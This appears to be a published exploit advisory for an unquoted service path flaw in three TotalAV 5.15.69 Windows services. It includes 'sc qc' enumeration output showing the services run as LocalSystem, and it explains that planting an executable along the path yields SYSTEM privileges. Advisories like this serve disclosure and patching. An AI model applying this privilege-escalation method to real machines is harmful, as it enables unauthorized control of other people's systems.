# Exploit Title: TotalAV 5.15.69 - Unquoted Service Path
# Date: 22/09/2021
# Exploit Author: Andrea Intilangelo
# Vendor Homepage: https://www.totalav.com
# Software Link: https://download.totalav.com/windows/beta-trial or https://install.protected.net/windows/cdn3/5.15.69/TotalAV.exe
# Version: 5.15.69
# Tested on: Windows 10 Pro 20H2 and 21H1 x64
The PC Security Management Service, PC Security Management Monitoring Service, and Anti-Malware SDK Protected Service
services from TotalAV version 5.15.69 are affected by unquoted service path (CWE-428) vulnerability which may allow a
user to gain SYSTEM privileges since they all running with higher privileges. To exploit the vulnerability is possible
to place executable(s) following the path of the unquoted string.
Affected excecutables services: SecurityService, SecurityServiceMonitor, AMSProtectedService:
PC Security Management Service SecurityService C:\Program Files (x86)\TotalAV\SecurityService.exe Auto
PC Security Management Monitoring Service SecurityServiceMonitor C:\Program Files (x86)\TotalAV\SecurityService.exe --monitor Auto
Anti-Malware SDK Protected Service AMSProtectedService C:\Program Files (x86)\TotalAV\savapi\elam_ppl\amsprotectedservice.exe Auto
C:\Users\user>sc qc SecurityService
[SC] QueryServiceConfig OPERAZIONI RIUSCITE
NOME_SERVIZIO: SecurityService
TIPO : 10 WIN32_OWN_PROCESS
TIPO_AVVIO : 2 AUTO_START
CONTROLLO_ERRORE : 1 NORMAL
NOME_PERCORSO_BINARIO : C:\Program Files(x86)\TotalAV\SecurityService.exe
GRUPPO_ORDINE_CARICAMENTO :
TAG : 0
NOME_VISUALIZZATO : PC Security Management Service
DIPENDENZE :
SERVICE_START_NAME : LocalSystem
C:\Users\user>sc qc SecurityServiceMonitor
[SC] QueryServiceConfig OPERAZIONI RIUSCITE
NOME_SERVIZIO: SecurityServiceMonitor
TIPO : 10 WIN32_OWN_PROCESS
TIPO_AVVIO : 2 AUTO_START
CONTROLLO_ERRORE : 1 NORMAL
NOME_PERCORSO_BINARIO : C:\Program Files(x86)\TotalAV\SecurityService.exe --monitor
GRUPPO_ORDINE_CARICAMENTO :
TAG : 0
NOME_VISUALIZZATO : PC Security Management Monitoring Service
DIPENDENZE :
SERVICE_START_NAME : LocalSystem
C:\Users\user>sc qc AMSProtectedService
[SC] QueryServiceConfig OPERAZIONI RIUSCITE
NOME_SERVIZIO: AMSProtectedService
TIPO : 10 WIN32_OWN_PROCESS
TIPO_AVVIO : 2 AUTO_START
CONTROLLO_ERRORE : 1 NORMAL
NOME_PERCORSO_BINARIO : C:\Program Files (x86)\TotalAV\savapi\elam_ppl\amsprotectedservice.exe
GRUPPO_ORDINE_CARICAMENTO :
TAG : 0
NOME_VISUALIZZATO : Anti-Malware SDK Protected Service
DIPENDENZE :
SERVICE_START_NAME : LocalSystem
